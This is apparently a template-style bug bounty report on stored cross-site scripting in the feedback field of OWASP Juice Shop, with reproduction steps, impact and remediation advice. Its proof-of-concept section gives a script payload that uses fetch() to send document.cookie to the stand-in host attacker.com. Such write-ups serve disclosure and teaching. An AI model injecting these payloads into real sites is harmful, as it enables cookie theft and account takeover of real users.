# 🐞 Bug Bounty Report

## 📌 Title

Stored Cross-Site Scripting (XSS) in User Input Field Leading to Persistent Script Execution

---

## 📄 Summary

A Stored Cross-Site Scripting (XSS) vulnerability exists in a user input field of the application. Malicious JavaScript injected by an attacker is stored on the server and executed whenever the affected page is viewed by other users.

This allows attackers to execute arbitrary scripts in victims' browsers, potentially leading to session hijacking, data theft, or account takeover.

---

## 🎯 Scope

- Target: Web Application (Anonymized – OWASP Juice Shop)
- Endpoint: /feedback (example)
- Parameter: comment / message (POST parameter)

---

## ⚠️ Severity

**High** (CVSS ~8.0)

---

## 🧠 Vulnerability Type

- Stored XSS (CWE-79)

---

## 🔍 Description

The application does not properly sanitize or encode user-supplied input before storing and rendering it in the browser. As a result, malicious JavaScript payloads are executed in the context of other users.

The payload persists in the database and triggers automatically when the affected page is loaded.

---

## 🔁 Steps to Reproduce

### 1. Navigate to Input Form

Example: Feedback or Review submission page

---

### 2. Submit Malicious Payload

<script>alert('XSS')</script>

---

**3. Submit the Form**

---

**4. Trigger Payload**

- Visit the page where the input is displayed
- The script executes automatically

---

## 💥 Proof of Concept (PoC)

### 🔹 Basic Payload

```
<script>alert(document.domain)</script>
```

### 🔹 Session Cookie Theft (Demo Only)

```
<script>fetch('https://attacker.com?cookie='+document.cookie)</script>
```

### 🔹 Result

- Script executes in victim's browser
- Confirms stored XSS vulnerability

---

## 📸 Impact

An attacker can:

- Steal session cookies
- Hijack user accounts
- Perform actions on behalf of users
- Deface web pages
- Deliver phishing attacks

In real-world applications, this could lead to:

- Full account takeover
- Sensitive data exposure
- Reputation damage

---

## 🧪 Tools Used

- Burp Suite (intercept & modify requests)
- Browser DevTools
- Manual payload testing

---

## 🛠️ Remediation

### ✅ Output Encoding

- Encode all user input before rendering in HTML

### ✅ Input Sanitization

- Strip or sanitize dangerous tags (<script>, event handlers)

### ✅ Use Security Libraries

- DOMPurify or similar sanitization tools

### ✅ Content Security Policy (CSP)

- Restrict execution of inline scripts

Example:

Content-Security-Policy: default-src 'self'; script-src 'self'

---

## 🔐 References

- OWASP Top 10 – XSS
- CWE-79: Cross-Site Scripting

---

## ⏱️ Timeline (Example)

| Date | Event |
|---|---|
| Day 0 | Vulnerability discovered |
| Day 1 | Report submitted |
| Day 4 | Triaged |
| Day 9 | Fixed |

---

## 👤 Reporter

Security Researcher (Anonymized)

---

## 🧩 Additional Notes

- Tested in a controlled lab environment
- No real users were affected
- No harmful exploitation performed